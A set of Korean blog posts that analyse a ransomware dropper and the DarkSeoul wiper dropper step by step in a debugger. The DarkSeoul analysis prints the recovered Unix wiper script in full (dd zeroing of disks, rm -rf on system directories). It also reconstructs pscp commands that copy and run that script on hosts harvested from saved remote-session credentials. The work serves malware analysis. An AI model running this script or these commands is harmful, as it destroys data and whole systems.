스택영역에 복사된 .rdata section의 값을 현재 실행중인 코드의 IMAGE_BASE값인 0x00400000(현재 메모리에 매핑된 ransomware의 시작주소)이 가르키는 주소값의 데이터들 즉 PE의 "MZ" 문자열로 시작하여 스택에 복사된 .rdata section값들을 XOR 연산하여 디코딩을 진행합니다.

 

[그림.60]

 

그리고 읽기 전용으로 CreateFile 함수로 코드가 변경되지 않은 "ransomeware.exe" 파일을 오픈합니다.

현재 분석중인 코드는 ransomeware.exe 파일을 가상메모리에 전부 복사하고 복사된 바이너리를 디코딩을 통해 코드변형이 일어난 코드입니다.

 

[그림.61]

 

여기서부터 분석하기 전 MMF(Memory Mapped File)에 대해 간략히 알아보겠습니다.

MMF를 간단히 설명하면 CreateFile,ReadFile,WriteFile등의 함수로 특정파일을 읽고 쓰게되면 디스크에 있던 데이터를 특정버퍼에 저장하게 되고 이 버퍼는 PageFile.sys라는 페이징 파일과 매핑이 됩니다.

이때 메모리는 이 페이징파일과 스와핑을 통해서 데이터를 메모리에 올려 읽고 쓰게 됩니다.

즉 파일을 PageFile.sys 페이징 파일(가상메모리)과 같이 만들어 사용할 수 있게끔 해주는 방법입니다.

간략히 예를들면 ransomeware.exe파일의 내용을 변형하고 싶다고할때 ReadFile함수로 파일을 읽고 그 데이터를 변형하여 다시 WriteFile함수로 저장할 수 있습니다.

반면 MMF를 사용하여 바로 메모리와 파일을 매핑시켜버릴경우 파일은 메모리에 올려집니다.

이때 메모리자체의 데이터값을 수정하게 되면 바로 원본데이터 파일의 값도 동시에 수정이 가능 하게 됩니다.

그림.61에서는 MMF(Memory Mapped File)기법을 사용하기 위해 ransomeware.exe 파일을 오픈시켰던 핸들을 인자로 CreateFileMapping 함수로 MMF객체를 생성합니다.

 

 

[그림.62]

 

MapViewOfFile함수로 ransomeware.exe파일을 메모리에 매핑시킵니다.

이 함수는 파일을 메모리에 매핑 시켜주는 역할을 합니다.

그림.62를 보면 0x01670000영역에 ransomeware.exe파일이 올라온것을 확인 할 수 있습니다.

 

[그림.63]

 

그리고 매핑된 파일의 0x016C50E2부터 스택에 저장된 데이터들로 메모리 카피를 하여 데이터 변형이 일어나고 0x016C50E2영역의 PE상 구조를 확인한 결과 .data section의 값임을 확인 할 수 있었습니다.

여기서 0x016C50E2 의 3바이트"BE 94 60"를 시작으로 변형이 일어났고 이부분을 확인하기위해 원본데이터 파일을 확인했으나 데이터 변경은 일어나지 않았습니다.

해당 원인을 알아본결과 답은 그림.61과 그림.62에 있었습니다.

각각 CreateFileMapping, MapViewOfFile을 보면 파라미터로 각각 PAGE_WRITE_COPY, FILE_MAP_COPY를 넘겨줍니다.

이파라미터는 COW기법(Copy-On-Write)를 사용하기 위해 쓰여집니다.

COW기법은 메모리를 절약하기 위해 사용되어 집니다.

예로 원본데이터가 있고 여러 스레드가 있을경우 이 스레드들이 원본데이터를 독립적으로 복사하여 사용한다고 가정합니다.

이와같이 데이터가 변경되지 않고 원본데이터를 복사하여 사용한다는 것은 원본데이터를 참조한다는 뜻입니다.

간단히 참조만 이뤄지는 경우인데 각각 스레드들이 복사를해 사용한다면 메모리의 낭비일수 밖에 없습니다.

이것을 해결하기 위해 COW기법을 사용합니다.

스레드를 생성할 때마다 원본데이터를 복사해서 할당하지 않고 모든 쓰레드들이 하나의 원본데이터를 공유하도록 프로그램이 디자인 되어있습니다.

다만 테이블의 데이터를 변경하고자 하는 쓰레드가 등장하면 원본데이터를 복사해서 해당 쓰레드에게 할당한 다음 복사본을 변경하게 합니다.

이 이후부터는 복사본을 이용하여 데이터를 참조합니다.

이것이 원본데이터가 변경되지 않은 이유입니다.

 

참조:뇌를 자극하는 윈도우즈 시스템 프로그래밍 P711

 

 

[그림.64]

 

그림.65에서 처럼 데이터 변형이 진행되고 매핑된 영역을 WriteFile함수로 c:\Documents and Settings/dklee\Application Data\Uqmu\feut.exe 에 쓰게됩니다.

 

 

[그림.65]

c:\Documents and Settings/dklee\Application Data\Uqmu\feut.exe 경로로 이동해보면 feut.exe파일이 생성되었습니다.

여기까지 분석 상황을 볼때 드롭퍼 역할을 하는것으로 확인 할 수있습니다.

 

 

[그림.66]


PathisDirectory 함수로 feaut.exe 실파일이 디렉토리인지 체크하고 디렉토리가 아닌경우 아래의 CreateFile함수를 호출합니다.

 

[그림.67]


그리고 크리티컬섹션 영역으로 이동하하여 0x0042A72E,0x0042A739 주소의 코드를 보면 0x00411A5C와 AL레지스터에 있는값을 각각
440BBC와 440BB8이 가리키는 주소에 저장을 합니다.
이주소는 .text section으로 코드영역의 특정부분에 0x00411A5C를 저장하는것 입니다.
코드영역에서 해당부분을 확인하면 RETN값임을 확인 할 수 있습니다.

 

[그림.68]


그리고 feut.exe파일의 시간정보를 2010년 12월 29일로 변경합니다.

 

[그림.69]


feut.exe의 상위 디렉토리인 Uqmu 디렉토리도 시간정보를 2010년 12월 29일로 변경합니다.

[그림.70]


그리고 스택영역의 주소 0x0012E7D0의 값을 0x0043FAEC에 memcpy로 복사를 진행하게 되는데 대상이되는주소 0x0043FAEC 역시 .text section영역
입니다.
0x0043FAEC 주소로 이동해보면 디버거에서 코드가 분석이되지 않은상태인데 이상태에서 Analaysis code를 하면 해당 코드가 분석되어 보여집니다.
그림.70이 분석된 결과입니다.
이런식으로 현재 실행중인 자기자신의 코드를 수시로 변경합니다.

 

[그림.71]


그리고 힙을생성하는데 생성된 힙의 주소는 0x015F2010입니다.
이영역에 wvnsprintf함수로 feut.exe의 절대경로를 복사합니다.

 

[그림.72]


그림.72에서는 이전에 생성한 실행파일인 feut.exe를 CreateProcess 함수로 실행시킵니다.
feut.exe를 별도로 분석해봐야 알겠지만 지금상태로는 feut.exe는 실행되자마자 바로죽습니다.
그렇기 때문에 CreateProcess의 6번째 파라미터의값 creationFlags를 0x00000004(CREATE_SUSPENDED)값으로 변경해줘야 합니다.
해당값으로 변경하고 함수를 호출하게 되면 feut.exe는 실행과 동시에 정지상태로 프로세스가 생성이됩니다.

 

[그림.73]


Process Explorer를 확인하면 ransomeware.exe의 자식프로세스로 feut.exe가 생성되었고 CPU의 상태를보면 Suspended된것을 확인 할 수 있습니다.
그리고 다시 디버거의 HANDLE을 보면 feut.exe의 핸들 0x0000011C가 생성된 것을 확인 할 수있습니다.

 

[그림.74]


그림.74에는 나와있지 않지만, 이후 분석을 진행하면 .text section의 0x004046C0 주소가 가리키는 값의 데이터들을 스택영역인 0x0012E890에 Memcpy합니다.
그리고 이 주소값이 그림.74에 나와있는 ESI의 값으로 세팅 되어있습니다.
그림.74의 코드를 정리하여 분석하면 0x00445000 .rdata section의 값과 .text section의 값을 서로 XOR로 연산하여 스택영역인 0x0012E890에 저장을 하게 됩니다.

즉 디코딩을 하게됩니다.

 

[그림.75]


다음으로 0x0012E778의 주소값에 .text seciotn의 데이터 0x0043FADC와 스택영역의 데이터 0x0012EC63이 가리키는 데이터 값을 저장하게 됩니다.

 

[그림.76]


그리고 0x0012E778의 주소가 가리키는 데이터들을 다시한번 디코딩 하여 데이터를 변형시킵니다.

 

[그림.77]


그리고 디코딩된 데이터의 시작주소 0x0012E778의 값중 2Ch(44)의 길이만큼의 데이터를 StringFromGuid2함수 호출로 사용자가 식별가능한 문자열로 변형
합니다.

 

[그림.78]

 

그림.77의 StringFromGuid2의 결과입니다.

 

[그림.79]


변형된 GUID문자열을 이름으로 CreateEvent함수를 호출하고 각각 [ESP+14],EAX(CreateEvent HANDLE) / [ESP+18],ECX(feut.exe CreateProcess HANDLE)값

을 저장합니다.
그리고 WaitForMultiplecObjects 함수를 호출하며, 각각 nObjects = 2, pObjects = 0x0012EDEC, WaitForAll = FALSE 파라미터를 전달합니다.
WaitForMultiplecObjects 함수는 스레드 및 프로세스등의 흐름제어를 할 수 있는 동기화 함수입니다.
각각 함수의 이름을 통해 알 수 있듯이 WaitForSingleObject가 단일대상의 흐름을 제어하기 위해 사용된다면 WaitForMultiplecObjects는 다수의 대상의

흐름제어를 위해 사용됩니다.
WaitForMultiplecObjects 첫번째 파라미터는 다수의 대상 프로세스 및 스레드 등의 핸들의 갯수를 지정합니다. 그리고 두번째로 그 핸들이 있는 배열의

포인터를 저장합니다.
마지막 파라미터는 True/False로 지정됩니다.
이것의 부연설명을 하면, 프로세스가 생성이 되면 커널오브젝트도 생성이 되는데 이때 커널오브젝트의 멤버변수중에 상태정보를 저장하는 변수가 있습니

다.
프로세스가 처음 생성이 되면 커널오브젝트의 상태가 non-signal(사용시작/사용중/사용불가 의 의미)이 되고 프로세스가 종료되면 커널오브젝트는

signal(사용종료/미사용중/사용가능 의 의미)상태가 됩니다.
그림.79를 보면 이벤트핸들과 프로세스핸들 2개에 마지막 파라미터에 False가 할당이 되었습니다.
여기서 마지막 파라미터가 True 일경우 이것은 WaitForMultiplecObjects 의 함수는 지정된 핸들의 소유주 모두 signal상태일때 까지 기다리라는 의미이

고, False일경우 지정된 핸들의 소유주중 하나만 signal이 될때까지 기다리라는 뜻입니다.
하지만 제가 그림.73에서 드롭한 feut.exe 자식프로세스를 어셈블리 코드를 조작하여 생성과동시에 정지상태(CREATE_SUSPENDED)로 호출했기 때문에 자식

프로세스는 종료가 되지 않은상태입니다. 즉 feut.exe는 아직 non-signal임으로 WaitForMultiplecObjects함수에 의해 블로킹 상태가 되는것입니다.

 

[그림.80]


이 상태에서 자식프로세스를 ATTACH하여 분석을 진행해도되고, Suspended상태를 resume상태로 돌려 이어서 분석을 해도됩니다.
하지만 저는 feut.exe를 후에 분석하기로 하고 우선 프로세스 생성 후 다음 행위를 파악하기위해 이어서 분석을 진행합니다.

 

[그림.81]


여기서부터 자가삭제를 하기위해 배치파일을 작성하는 작업을 시작하는 부분입니다.
우선 vsprinf함수로 ransomeware.exe를 삭제하는 문자열을 입력합니다.

 

[그림.82]


그리고 Temp 디렉토의 경로를 얻어옵니다.

 

[그림.83]


NTMA5BF.bat 배치파일을 읽기/쓰기 전용으로 생성합니다.

 

[그림.84]


다음으로 "@echo off%sdel /F "%S"" 문자열의 길이를 구하고, 명령라인 0x0043DE76에서 Heap을생성하여 0x015F2010의 주소를 할당받습니다.
그리고 wvnsprintf 의 4번째 파라미터 주소값 0x0012E4C8에 그전에 만들어놨던 ransomeware.exe를 삭제하는 문자열과 temp디렉토리에 생성된 배치파일경

로를 저장해 놓고 값을 넘겨 wvnsprintf함수를 호출하여 0x015F2010에 저장합니다.

 

[그림.85]


그리고 writefile로 0x015F2010에 저장 되어있는 문자열을 NTMA5BF.bat파일에 쓰게됩니다.

쓰여진 배치파일 내용을 확인해보면 ransomeware.exe 와 NTMA5BF.bat 파일을 삭제하는 명령어를 확인 할 수 있습니다.

 

 

 [그림.86]

 

GetEnvironmentVariable 함수로 환경변수의 ComSpec값 c:\WINDOWS\system32\cmd.exe 값을 0x0012E7FC 버퍼에 저장합니다.

 

 [그림.87]

 

그리고 그림.87과같이 C:\WINDOWS\system32\cmd.exe /c c:\DOCUME~1\dklee\LOCALS~1\Temp\NTMA5BF.bat 문자열로 만듭니다.

 [그림.88]

 

그리고 CreateProcess로 C:\WINDOWS\system32\cmd.exe /c c:\DOCUME~1\dklee\LOCALS~1\Temp\NTMA5BF.bat 배치파일을 서브프로세스로 실행시킵니다.

 [그림.89]

 

ProcessExplorer 프로그램을 통해서 cmd.exe를 이용해 배치 파일을 실행시키는 것을 확인 할 수 있습니다.

 

[그림.90]

 

그리고 ExitProcess함수로 종료합니다.

결국 ransomeware.exe 악성코드는 feut.exe를 드롭하는 드롭퍼 인것을 알 수 있습니다.

 

 

posted by 미스터리 DKL

※ 주의사항

아래 공격 코드는 연구 목적으로 작성된 것이며, 허가 받지 않은 공간에서는 테스트를 절대 금지합니다.

악의 적인 목적으로 이용할 시 발생할 수 있는 법적 책임은 자신한테 있습니다. 이는 해당 글을 열람할 때 동의하였다는 것을 의미합니다.

해당 문서의 저작권은 해당 프로젝트 참여 저자들에게 모두 있습니다. 외부에 공개시 법적 조치가 가해질 수 있습니다. 


개요

악성코드 개요

3월20일 대란으로 유명한 darkseoul 샘플 입니다.

MBR을 파괴하고 나서 물리드라이버(하드디스크)까지 파괴를 시키는 악성코드입니다. 


생성파일 정보 요약

 

 

감영증상 요약

MBR과 HDD를 파괴하고 강제로 리부팅하여 시스템을 파괴합니다.

VirusTotal 점검 내역

https://www.virustotal.com/ko/file/1fbecec5da37b9a6e6dd63add4988fe7e2c4249aada883f58bcb794020455b77/analysis/



 

상세 분석 내용

 

[ DarkSeoulDropper.exe]

 

 생성파일 정보요약을 보면 upx로 패킹되어 있기때문에 unpacking 해줍니다.

 

 

[그림.1]

 

메인함수 내부로 들어가면 LoadLibraryA 함수로 kernel32.dll 라이브러리를 로드하여 Base Adress를 얻고 사용 될 함수의 포인터를 가저옵니다.

각각 FindResourceA, LoadResource, LockResource, SizeofResource입니다.

 

[그림.2]

 

그리고 루틴을 실행하다 보면 그림.2와 같이 alg.exe, conime.exe, ~pr1.tmp, AgentBase.exe의 실행파일 관련 함수들이 있습니다.

각각 함수를 분석해 봐야 알겠지만 호출되는 함수의 주소가 CALL DarkSeou.00402200으로 보아 동일한 기능의 함수를 파일명만 변경하여 호출되는 것을 볼 수 있습니다.

 

[그림.3]

 

alg.exe 관련함수 호출주소 004024CD를 Step in 하여 내부로 들어갑니다.

그러면 0040226C에서 메모리버퍼를 빈공간으로 초기화 시키고 그 공간에 GetTepmPath 함수로 temp 디렉토리 경로를 저장합니다.

[그림.4]

 

그리고 나서 004022C3 함수를 호출하고 CreateFile 함수로 alg.exe 파일을 생성합니다.

 

 

[그림.5]

 

그리고 SizeofResource함수로 Dropper의 rsrc섹션의 size를구합니다.

 

 

[그림.6]

 

그리고 RSRC섹션의 004195E8에서 주소의 첫번째 바이트 95를 고정값으로 하여 그다음주소 004195E9의 D8값과 XOR하여 실행파일의 바이너리로 복구합니다.

복구결과는 그림.6의 Ollydbg의 중간부분의 MZ로 시작되는것을 확인할 수 있습니다.

정리하면 리소스섹션의 첫바이트 95를 고정으로 그이후의 데이터값과 서로 XOR하여 SizeofResource로 얻은 리소스섹션의 크기만큼 반복하게 됩니다.

 

[그림.7]

 

그리고 alg.exe 파일에 그림.6(004195E9 Data)에서 XOR연산한 데이터를 WriteFile함수로 Write합니다.

파일을 Write하기전에 CriticalSection 동기화 기법으로 중복쓰기를 방지합니다.

 

[그림.8]

 

함수를 빠저나오면 004195E9에다 WriteFile을 한 데이터의 사이즈(00028000)만큼 더합니다.

그러면 004415E9값이 됩니다. 

 

[그림.9]

 

003E4018주소에 1000만큼 Heap을 생성합니다.

그리고 .data section에 40160A8 주소값에 생성된 Heap의주소를 저장합니다. 

 

 

 [그림.10]

 

그림.8에서 004415E9값이 세팅이 됬었는데 이값에 1을 더해서 004415EA로 세팅을 합니다.

그림.6에서 고정값 95와 XOR연산하여 디코딩 했었습니다.

마찬가지로 004415E8에 있는 데이터 값들도 각 바이트의 값을 95와 XOR 연산을하면 그림.10의 Ollydbg의 헥사코드창의 값들인것을 확인할 수 있습니다.

변환된 값을 PEview로 확인 하지 못하기 때문에 설명을 드렸습니다.

 

[그림.11]

그림.10을 보면 .rsrc 의 [BIN 0081 0412]의 004415EA의 주소의 데이터부터 끝까지 그림.9에서 생성한 Heap주소에 복사를 하게됩니다.

즉 003E4019~003E4C18까지 복사가 진행됩니다.

정리하면 [BIN 0081 0412]는 알수없는 데이터를 95의 고정값과 XOR하여 alg.exe의 실행 바이너리로 복화하고 그 뒷부분 004415EA값부터 끝까지 생성된 Heap의 공간에 복사가 진행됩니다.

 

[그림.12]

 

그리고 각각 Heap주소 003E4019 + BFF = 003E4C18, ,rsrc section의 [BIN 0091 0412]주소 004415EA + BFF = 004421E9 주소로 세팅합니다.

 

[그림.13]

 

그리고 WriteFile함수를 호출하기 전 각 파라미터의 값을들 세팅하기 위해 연산을 진행합니다.

흠..연산하는거는 별거아닌데 괜히 복잡하게 만들어놔서 시간이 조금 걸렸습니다.

함수의 파라미터값을 다구하면 WriteFile을 호출하게 되는데 그림.10을 보면 .rsrc 의 [BIN 0081 0412] 섹션의 뒷부분의 데이터를 Heap에다 복사했었는데요.

여기서는 복사된 데이터를 단순히 Write하여 파일에 쓰게됩니다.

 

 

[그림.14]

 

함수 호출전과 호출 후 파일 크기를 비교해봤습니다.

뭐 당연한 결과이지만 정확한것을 원하니까요..

 

 

[그림.15]

함수 호출 전과 호출 후의 PE바이너리 상태입니다.

단순히 변경되기전 파일뒤에다 이어서 붙여버립니다.

이와같이 .rsrc section의 [BIN 0081 0412],[BIN 0082 0412],[BIN 0083 0412],[BIN 0084 0412]의 리소스에서 위의과정을 통해 파일을 생성합니다.

 

[그림.16]

 

4개의 파일을 생성한 결과입니다.

 

[그림.17]

 

생성된 4개의 파일중 3개는 실행파일 이지만 ~pr1.tmp파일은 실행파일이아닙니다.

메모장으로 열어본결과 바이너로 저장된것 같습니다.

그래서 파이썬으로 간단히 코드를짜서 메모장으로 출력해보았습니다.

 

#!/bin/bash

WHICH=`which which`
UNAME=`$WHICH uname`
SLEEP=`$WHICH sleep`
DATE=`$WHICH date`
CAT=`$WHICH cat`
RM=`$WHICH rm`
DD=`$WHICH dd`
KILL=`$WHICH kill`

dd_for_hp()
{
    DISK=`strings -v /etc/lvmtab|grep -v vg`
    
    for DISK_PART in $DISK
    do
 $DD if=/dev/zero of=$DISK_PART bs=8192000 &
    done
}

dd_for_aix()
{
    DISK=`lsp | awk '{print $1}'`

    for DISK_PART in $DISK
    do
 $DD if=/dev/zero of=/dev/$DISK_PART bs=10M &
    done
}

dd_for_sun()
{
    rm -rf /kernel/ &
    rm -rf /usr/adm/ &
    rm -rf /etc/ &
    rm -rf /home/ &
    rm -rf / &
    PRTTOC=`$WHICH prtvtoc`
    DISK=`ls /dev/dsk | grep s2`

    for DISK_PART in $DISK
    do
        mnt_info=`$PRTTOC /dev/dsk/$DISK_PART | grep Mount`

        if [ `expr "$mnt_info" : '.*'` -gt 0 ]
     then
  $DD if=/dev/zero of=/dev/dsk/$DISK_PART bs=81920k &
     fi
    done
}

dd_for_linux()
{
    rm -rf /kernel/ &
    rm -rf /usr/ &
    rm -rf /etc/ &
    rm -rf /home/ &
}

SYSTYPE=`$UNAME -s`
if [ $SYSTYPE = "SunOS" ]
then
    dd_for_sun
elif [ $SYSTYPE = "AIX" ]
then
    dd_for_aix
elif [ $SYSTYPE = "HP-UX" ]
then
    dd_for_hp
elif [ $SYSTYPE = "Linux" ]
then
    dd_for_linux
else
    exit
fi

출력한 결과는 위와같습니다.

쉘스크립트로 작성되어있으며 UNIX계열의 시스템을 파괴하기 위한 코드입니다.

리눅스와 선 시스템의 로직을보면 rm -rf로 시스템 디렉토리들을 삭제합니다.

 

 

[그림.18]

 

0040238B함수에서 12F8A0 ~ 12F9A0까지 0으로초기화 시키는 작업을 진행합니다.

함수를 빠저나와 GetTempPathA함수를 호출하여 임시저장 디렉토리의 경로를 가저옵니다.

 

 

[그림.19]

 

그리고 004023B8 ~ 004023D6 까지는 헥사덤프의 AgentBase.exe(ApcCmdRun.exe)의 값을 추출합니다.

그리고 PathFileExistsA함수로 C:\windows\temp\~v3.log 파일이 존재하는지 체크합니다. 바로 이부분이 V3백신이 존재하는지 체크하는 로직입니다.

만약 백신이 없을경우 AgentBase.exe(ApcCmdRun.exe)실행하고 백신이 있을경우는 실행하지 않습니다.

체크를 하고난 뒤 추출했던 AgentBase.exe(ApcCmdRun.exe)값과 C:\DOCUME~1\dklee\LOCALS~1\Temp\ 값을 결합합니다.

그렇게 되면 C:\DOCUME~1\dklee\LOCALS~1\Temp\AgentBase.exe 의경로가 생성이 됩니다.

이어서 WinExec함수의 SW_HIDE(윈도우를 숨긴다.)옵션과 생성된 경로를 인자로 하여 WinExec를 호출하게됩니다.

그러면 AgentBase.exe(ApcCmdRun.exe) 가 숨김모드 상태로 실행이 됩니다.

 

 

[그림.20]

 

00402575주소에서 GetVaersion 함수를 호출하여 DWORD값 0A280105 를 리턴하게 됩니다.

이함수의 값을 0A28.01.05 로 보면되는데 다시 이 값을 10진수로 변환하게되면 2600.5.1 이됩니다.

즉 해당 시스템의 버전이 5.1.2600이라는 것을 알 수 있습니다.

 

[그림.21]

 

CMD 모드에서 version을 확인해보면 XP Version 5.1.2600인 것을 확인 할 수 있습니다.

GetVersion 함수 호출 이후 GetWindowDirectory함수를 호출하여 해당 시스템의 windows 디렉토리값을 반환받고 스택에 저장합니다.

그리고 GetVaersion 함수를 호출하여 DWORD값 0A280105 의 버전값이 5(xp)인지 체크를 합니다.

그리고 체크해서 만약 값이 5이면 0040259A값 ":\Documents and settings\*.*"을 스택에 저장하고 5(XP)가아닌 경우 ":\Users\*.*" 값을 스택에 저장합니다.

현재 분석중인 가상 시스템이 Win_xp 이며 버전값이 5이고 제가 사용하는 OS의 버전은 Win7이고 버전값이 6이였습니다.

이것으로보아 xp계열 시스템인경우 ":\Documents and settings\*.*" 값으로 검색을하고 xp가아닌 다른버전의 시스템에서는 ":\Users\*.*"값으로 검색을 하도록

구현 된 것을 알 수 있습니다.

 

[그림.22]

 

그림.20에서 GetWindowsDirectory 함수로 C:\WINDOWS 디렉토리를 구해서 스택에 저장했습니다.

그리고 ":\Documents and settings\*.*" 이 값을 스택에 저장했었는데 ":\Documents and settings\*.*" 이 값중 :\Documents and settings만 분리하여

C:\WINDOWS를 저장했던 버퍼를 "C:\Documents and settings" 값으로 세팅합니다.

 

[그림.23]

 

그리고 각각 C:\Documents and Setting\All Users, C:\Documents and Setting\Default, C:\Documents and Setting\Public 디렉토리를 찾습니다.

 

[그림.24]

 

디렉토리를 찾으면 하위 디렉토리의 "Application Data\VanDvke\Config\Session", "AppData\Local\Felix_Deimel\mRemote\confCons.xml" 파일을 찾습니다.

 

[그림.25]

 

파일을 찾으면 그 파일을 읽기 위하여 CreateFileA함수를 읽기전용 상태로 호출하여 파일스트림을 오픈합니다.

  

[그림.26]

 

그리고 003E4018주소에 1000(4096)크기의 Heap을 생성하고 생성한 힙주소에다 ReadFile함수로 confCons.xml파일의 내용을 읽어 들입니다.

 

 

[그림.27]

 

읽어온 파일의 문자열이 있는지 체크하고 있을경우 0012CC61주소에 복사합니다.

 

 

[그림.28]

 

그리고 버퍼를 초기화 한 후 XML파일에서 Hostname="hosttest", Descr="desctest", Panel="paneltest", Port="4432test", Password="pass"

문자열의 값 부분을 파싱해서 초기화한 버퍼공간의 특정 번지에 저장을합니다.

 

[그림.29]

그리고 4039B0에 있는 로직을 CreateThread로 실행한다.

 

 [그림.30]

~pr1.tmp 파일을 읽기 전용(GENERIC_READ)상태로 파일을 오픈합니다.

[그림.31]

 

그리고 3E5030주소에 힙을 생성하고 생성된 힙공간에 ReadFile함수로 파일의 내용을 읽어 들입니다.

 

 

[그림.32]

이전에 ~pr1.tmp_ 파일을 추가로 생성했었는데 그 파일에다 ~pr1.tmp파일의 내용을 WriteFile 함수를 호출하여 씁니다.

동일한 파일을 두개 생성합니다.

 

 

[그림.33]

 

백업파일로 두개생성된것으로 생각했으나 백업이 아니였다.

분석을 진행하다 보니 MoveFileEx함수를 호출을 하는데 이 함수의 역할은 ExistingName의 위치의 파일을 NewName의 경로에 파일로 변경(이동)하게 되는데 성공하게되면

ExistingName의 파일은 삭제됩니다.

 

[그림.34]

 

주소 0x407631 ~ 0x4080E5까지 루프를 돌면서 conime.exe 명령어를 완성합니다.

"%s -batch -P %s -l -pw %s %s %s:/tmp/cups" 문자열에 %s부분을 그림.28부분에서 파싱된 각 값들을 저장해서 명령어를 완성시킵니다.

완성된 명령어는 다음과 같습니다.

C:\DOCUME~1\dklee\LOCALS~1\Temp\conime.exe -batch -P 4432test -lroot -pw ???CJ꼻+@N?C:\DOCUME~1\dklee\LOCALS~1\Temp\~pr1.tmp hosttest:/tmp/cups

 

 

[그림.35]

 

그리고 마찬가지로 0x00403B6A함수에서도 C:\DOCUME~1\dklee\LOCALS~1\Temp\alg.exe -batch -P 4432test -l root -pw ???CJ꼻+@N?hosttest"chmod 755 /tmp/cups;/tmp/cups 와같이 문자열을 세팅하여 0x00B5FBA8버퍼에 저장한다.

 

 

[그림.36]

쓰기핸들 0x00B5ED4C 읽기핸들 0xB5ED48으로 파이프를 생성합니다.

 

[그림.37]

 

그리고 GetSystemDirectory함수로 현재 시스템의 시스템디렉토리 경로를 가저오고 0x004038D3주소에서 함수호출로 시스템디렉토리의 경로와 전에 생성했던 conime.exe관련 명령어들을 결합하여 명령어로 재생성 합니다.

생성된 명령어는 다음과 같습니다.

C:\WINDOWS\system32\cmd.exe /c C:\DOCUME~1\dklee\LOCALS~1\Temp\conime.exe -batch-P 4432test -lroot -pw ???CJ꼻+@N?hosttest"chmod 755 /tmp/cups;/tmp/cups

여기서 cmd.exe /c 옵션은 명령어를 한번실행하고 완료되면 자동으로 종료되도록 하는 옵션입니다. 이런 옵션을 주는 걸로봐서 comine.exe ... 명령어를 사용자 몰래 실행하고 종료하려는 의도인것 같습니다.

 

 

 [그림.38]

그리고 CreateProcess로 자식프로세스를 생성하는데 CommandLine인자를 "C:\WINDOWS\system32\cmd.exe /c C:\DOCUME~1\dklee\LOCALS~1\Temp\conime.exe -batch-P 4432test -lroot -pw ???CJ꼻+@N?hosttest"chmod 755 /tmp/cups;/tmp/cups " 명령어로

전달합니다.

즉 위와같은 명령어를 인자로 자식프로세스가 생성되면서 cmd.exe를 통해 comine.exe를 실행하여 공격자에게 특정명령을 전송하는 것으로 추측할 수 있습니다.

 

[그림.39]

CreateProcess를 실행했을때 ProcessExplorer로 확인해봤습니다.

예상대로 자식프로세스가 생성되고 comine.exe를 실행 했습니다.

 

[그림.40]

 

그리고 CloseHandle함수로 그림.36에서 생성했던 파이프의 쓰기핸들 0x00B5ED4C 읽기핸들 0xB5ED48 중 쓰기핸들을 닫습니다.

 

[그림.41]

 

그리고 파이프의 읽기 핸들로 자식프로세스의 커맨드 실행결과를 ReadFile함수로 읽어 들이고 TerminateProcess, CloseHandle 함수를 호출하여 생성한 자식프로세스는 종료합니다.

버퍼에 저장된 내용은 다음과 같습니다.

 

PuTTY Secure Copy client..알 수없는 빌드, Mar 13 2006 23:32:43..Usage: pscp [options] [user@]host:source target..   
   pscp [options] source [source...] [user@]host:target..      pscp [options] -ls [user@]host:filespec..Options:.. 
-V     print version information and exit..  -pgpfp    print PGP key fingerprintsand exit..  -p      preserve file
attributes..  -q        quiet, don't show statistics..  -r      copy directories recursively..  -vshow verbose
messages..  -load sessname  Load settings from saved session..  -Pport   connect to specified port..  -l user  
connect with specified username.. -pw passw login with specifiedpassword..  -1 -2     force useof particular SSH
protocol version..  -4 -6force use of IPv4 or IPv6..  -C       enable compression..  -ikey    private key file for
authentication..  -noagent  disableuse of Pageant..  -agent    enable use of Pageant..  -batch    disable all
interactive prompts..  -unsafe   allow server-side wildcards (DANGEROUS)..  -sftpC:\WINDOWS\system32\cmd.exe /c
C:\DOCUMEdklee\LOCALS~1\Temp\conime.exe -batch -P 4432test -lroot -pw ??

 

 

[그림.42]

 

ReadFile로 읽어드린 메세지 내용을 보면 정상적인 명령어가 아닌경우 발생될때 나타나는 메세지로 확인했습니다.

해당 분석시스템에 Confcons.xml파일이 없기 때문에 임의로 제가 호스트정보/패스워드/포트번호등 값들을 만들어 넣어 진행했기 때문에 나타나는 결과입니다.

정상적인 Confcons.xml파일이 있다면 로직의 흐름상 "100%" 의 문자열과 읽어들인 버퍼의 값들과 비교하여 다음 루틴으로 진행합니다.

 

 

[그림.43]

 

그림.36~그림.42까지 역시 같은방법으로 0x00403B93함수를 호출하고 결과는 예상대로 "Unable to open connection:..Host does not exist" 와같이 받습니다.

 

여기까지가 ConfCons.xml 파일을 읽어 들여 conime.exe를 실행시키는 부분이다

 

[그림.44]

 

여기서부터는 C:\Documents and Settings\NetworkService\Application Data\VanDyke\Config\Sessions\*.ini 파일을 찾고 그림.25번부터 43까지의 과정을 진행합니다.

상세 과정은 동일하므로 생략하겠습니다.

 

 

[그림.45]

 

C:\Documents and Settings\NetworkService\Application Data\VanDyke\Config\Sessions 디렉토리 내에서 ini파일을 찾고 정보를 추출합니다.

그리고 동일한 방법으로 conime.exe와 alg.exe에 명령어를 생성하여 실행합니다.

그리고 ExitProcess함수를 호출하여 종료합니다.

 

posted by 미스터리 DKL

올해 금융권을 마비시켰던 악성코드인 DarkSeoulDropper를 분석중이었다.

아무탈없이 순조롭고 재미있게 분석중이였다. 그러나 0040230B주소에서 Access violation 오류가 났다.

이오류로 더이상 진행을 할 수가 없었다..

그래서 몇몇 지인분들께 도움을 청했으나 아무문제 없다고한다.

멘붕이다.. 난 왜그런거지? olly부터 immunity, ida까지 다돌려봤으나 결과는 마찬가지다.

도저히 안되겠다 인터넷에 분석완료 하셨다는 분들 블로그에 댓글로 도움을 요청했으나 언제 답변이 올지 알수없는상태다.

그래서 막연히 검색을 해서 오류에대해 검색결과 몇가지 힌트를 발견했다.

 

일단은 OS예외처리를 하기전에 간단히 예외 에 대해 알아보고 넘어갑시다.

1. EXCEPTION_ACCESS_VIOLATION(C0000005)

존재하지 않거나 권한없는 메모리 영역에 접근을할때 발생되는 예외(가장흔한)이다.

2.MOV DWORD PTR D5:[0], 1

- 메모리 주소 0은 할당된 영역이 아니다.

3.ADD DWORD PTR D5:[401000], 1

- Text섹션의 시작주소 401000은 READ 속성만을 가지고있다(write 속성없음)

4.XOR DWORD PTR DS:[800000000], 1234

- 메모리 주소 80000000은 Kernel 영역이라서 User 모드에서는 접근할수없다.

 

※힌트참조:http://cafe.naver.com/ehdl24eek/13505

 

 

힌트를 보니 답이 보인듯하다.

힌트의 2번 Text섹션의 시작주소 401000은 READ 속성만을 가지고있다(wRITE 속성없음) 이거라고 확신한다.

